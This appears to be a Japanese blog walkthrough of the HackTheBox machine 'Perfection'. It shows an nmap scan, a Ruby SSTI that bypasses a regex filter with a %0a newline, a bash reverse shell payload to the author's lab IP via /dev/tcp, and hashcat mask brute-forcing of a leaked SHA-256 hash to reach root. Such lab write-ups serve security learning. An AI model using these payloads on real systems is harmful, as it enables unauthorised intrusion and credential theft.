HackTheBox Perfection WriteUp

今回はHackTheBoxのEasyマシン「Perfection」です！
マシンの名前からはあまりどのようなものか想像できませんね。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e9a8e99b-7b93-eb3e-25f7-11ee49768c08.png)

グラフはいつものEasyマシンと変わらない感じですね。
評価も高いので、面白そうです！サクッと攻略していきましょう～！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Perfection

### 列挙

それでは攻略を始めましょう。
まずは```nmap```から実行していきます。

```bash
+[~/perfection]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.253

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
```

22番と80番がオープンしていますね。
WEBでアクセスしていきましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0eff50d7-3de9-c4d8-c740-dc43212b6551.png)

なにやら成績を計算する？ようなサイトが表示されました。
上のヘッダー部分には「Calculate your weighted grade」というボタンがあるので押下してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/082a0fca-69cd-d1a4-60dc-ca864da44079.png)

重み付けができるようなページが表示されました。
とりあえず適当に入力してみましょう。重みを合計で100にする必要があるので、そこだけ注意してください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2b5559cf-84ed-3c24-9291-70d54c6d9edf.png)

結果が表示されています。ここで注目する部分は「Category」で入力した文字です。
入力した文字列がそのまま出力されているため、これは制御できる出力です。制御できる出力にはSSTIやXSSが発火する可能性があります。

### SSTI

それでは早速SSTIを試していきますが、試す前にこのサイトがどの言語で実行されているのかを知る必要があります。情報がないかサイトを見ていると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/fdfc8a3e-69a6-beb9-9758-254fe8f511cb.png)

フッダー部分に「WEBrick 1.7.0」という表記があることに気付きました。WEBrickとは、HTTPサーバツールキットで、Rubyが使用されています。

https://github.com/ruby/webrick

よって、今回のサイトはRubyが使われているので、SSTIのペイロードもRuby用のものを用意しましょう。
入力するペイロードは```<%= 7*7 %>```です。「Category」に入力し、リクエストを送信しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/00841fde-f444-bb5a-bc82-eabf5c8ad641.png)

攻撃が検知され、ブロックされてしまいました！「Malicious input blocked」というエラーメッセージが表示されています。これは正常に制御していそうで、かなり怪しい部分です。「検知を回避してSSTIを成功させてね」と言われているようにしか聞こえません。

では、どのようにして検知を回避するかですが、もしもこの検知が正規表現で行われていた場合、Rubyには```%0a```を使用して検知を回避するという手法があります。以下の記事で詳しく説明されています。

https://davidhamann.de/2022/05/14/bypassing-regular-expression-checks/

ホワイトリストベースですが、Rubyでは一行でも正規表現にマッチするとそれを正しいものとして通過させます。つまり、```test%0a<%= 7*7 %>```のようにしたとき、```test```の部分が正規表現にマッチするため、攻撃として検知されないということです。実際に試してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9bebb371-746e-cf8b-8714-823346b7b6e9.png)

攻撃が検知されず、```test```の後ろに「49」と表示されました！SSTIの発火成功です。私はCTFに参加したことでこの手法をすでに知っていましたが、何も知らないひとは少し苦戦したのではないでしょうか。

## susan としてのシェル

それでは、SSTIを悪用してシェルを取得しましょう。今回実行するペイロードは以下の通りです。

```bash
test%0a<%= system("bash -c 'bash -i >& /dev/tcp/10.10.14.8/2121 0>&1'") %>
```

実行する前に、待ち受けを忘れないでください。

```bash
+[~/perfection]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
```

待ち受けが開始できたら、リクエストを送信しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/71d8ee29-1911-9c2b-0a0c-e970c456a667.png)

特に出力はありませんが、待ち受けを確認すると...

```bash
+[~/perfection]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.253] 52960
bash: cannot set terminal process group (1026): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ whoami
whoami
susan
```

シェルを取得することができました！

```bash
susan@perfection:~$ ls -l
total 12
drwxr-xr-x 2 root root  4096 Oct 27  2023 Migration
drwxr-xr-x 4 root susan 4096 Oct 27  2023 ruby_app
-rw-r----- 1 root susan   33 Jul 14 04:24 user.txt
```

ユーザフラグもゲットです！

### 垂直権限昇格

それでは、ユーザフラグも取得できたので```root```を目指していきます。
まずは、いつものように```sudo -l```を実行しておきましょう。

```bash
susan@perfection:~$ sudo -l
[sudo] password for susan: 
Sorry, try again.
```

パスワードが求められたので、```sudo```は実行できないようです。と思いましたが、```id```コマンドを実行すると興味深い結果が出力されました。

```bash
susan@perfection:~/Migration$ id
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
```

なんと```sudo```グループに所属しています。ということは、なんとかして```susan```のパスワードを取得することが今回の垂直権限昇格の方法であることがわかりました。

### Hash Crack

方向性も定まったので、さらに内部を列挙していきます。```susan```のホームディレクトリ内に```ruby_app```とは別の```Migration```というディレクトリがあるので、見てみます。

```bash
susan@perfection:~/Migration$ ls -l
total 8
-rw-r--r-- 1 root root 8192 May 14  2023 pupilpath_credentials.db
```

なにやら怪しいDBファイルがありました。内容を確認してみます。

```bash
susan@perfection:~/Migration$ strings pupilpath_credentials.db
SQLite format 3
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
```

ハッシュ化されたパスワードを発見しました！解読に成功すれば```sudo```を使用して権限が昇格できそうです。
問題は、名前とハッシュをどこで区切るのかです。どこまでが名前でどこからがハッシュなのか微妙でしたが、WEBサイトに```susan```の本名が載っていました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/4bd5c66d-dba0-d860-9974-1eee79f793cb.png)

ということは、ハッシュは```abeb6f8～9023f```の部分ですね。ハッシュの形もわかったので、```john```で解読させましょう。

```bash
+[~/perfection]
(σ▰>∇<)σ<10.10.14.8>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (cryptoSafe [AES-256-CBC])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 DONE (2024-07-14 01:26) 0g/s 2839Kp/s 2839Kc/s 2839KC/s 02102265315..*7¡Vamos!
Session completed. 
```

解読できませんでした。。

### Brute Force

ハッシュの解読に失敗してしまいましたが、ここまでの情報が出揃っていて解読を諦めるのは少し違和感を感じます。もしかしたらパスワードに関するヒントがあるかもしれないので、再度内部を調査してみます。
まず、```susan```が所有するファイルを調べてみました。

```bash
susan@perfection:~$ find / -user susan -type f 2>/dev/null
/proc/1026/task/1026/fdinfo/0
/proc/1026/task/1026/fdinfo/1
/proc/1026/task/1026/fdinfo/2
...
/proc/1216/arch_status
/home/susan/.vimrc
/home/susan/.bash_logout
/home/susan/.bashrc
/home/susan/.profile
/home/susan/.sudo_as_admin_successful
/home/susan/.gnupg/pubring.kbx
/home/susan/.gnupg/trustdb.gpg
/home/susan/.cache/motd.legal-displayed
```

特に気になるファイルは見つかりません。次点として、```susan```グループが所有するファイルも調べてみます。

```bash
susan@perfection:~$ find / -group susan -type f 2>/dev/null 
/var/mail/susan
/proc/1026/task/1026/fdinfo/0
/proc/1026/task/1026/fdinfo/1
/proc/1026/task/1026/fdinfo/2
...
/home/susan/ruby_app/public/css/montserrat.css
/home/susan/ruby_app/public/images/tina.jpg
/home/susan/ruby_app/public/images/lightning.png
/home/susan/ruby_app/public/images/checklist.jpg
/home/susan/ruby_app/public/images/susan.jpg
/home/susan/.cache/motd.legal-displayed
```

```/var/mail/susan```を発見しました！内容を確認してみましょう。

```bash
susan@perfection:~/Migration$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student
```

パスワードの形式が書かれています！メールによると、名前 + 名前を逆にした文字列 + 最大10桁のランダムな数字でパスワードが生成されるようです。名前は```susan```であるとわかっているので、あとはランダムな数字さえわかればパスワードが取得できます。
最大10桁の数字程度であれば、```hashcat```の総当たりで解読可能なので、実行しましょう。

```bash
+[~/perfection]
(σ▰>∇<)σ<10.10.14.8>$ hashcat -m 1400 -a 3 hash.txt --increment "susan_nasus_?d?d?d?d?d?d?d?d?d?d"
hashcat (v6.2.6) starting
...
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f
Time.Started.....: Sun Jul 14 01:43:51 2024 (9 mins, 16 secs)
Time.Estimated...: Sun Jul 14 01:53:07 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21]
Guess.Queue......: 21/22 (95.45%)
```

少し時間はかかりましたが、パスワードの解読に成功しました～！

## root としてのシェル

それでは、解読したパスワードを使用して```sudo```を実行しましょう！

```bash
susan@perfection:~$ sudo -i
[sudo] password for susan: 
root@perfection:~# whoami
root
```

権限昇格成功です！

```bash
root@perfection:~# ls -l
total 4
-rw-r----- 1 root root 33 Jul 14 04:24 root.txt
```

ルートフラグも取得でき、完全攻略達成です～～！

### 攻略を終えて

今回のマシンはEasyマシンにしてはテクニックが求められるマシンだったのではないかと思います。Rubyの正規表現バイパスなんかは開発者の人でも知らなそうなマイナーなものなので、躓く人も多そうだなと。。権限昇格時のハッシュ解析はなんとか行ける人が多いのでないかと思いますが、メールを見つけることができるかどうかがポイントですね。足がかりとしては、RubyのSSTIだったわけですが、今回のように「実はこんな仕様だったんです！」的な見逃しが一番怖いので、使用する技術への理解は確実に深めるようにしたいです。
いつものEasyマシンとは少し違ってとても楽しいマシンでした！
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました！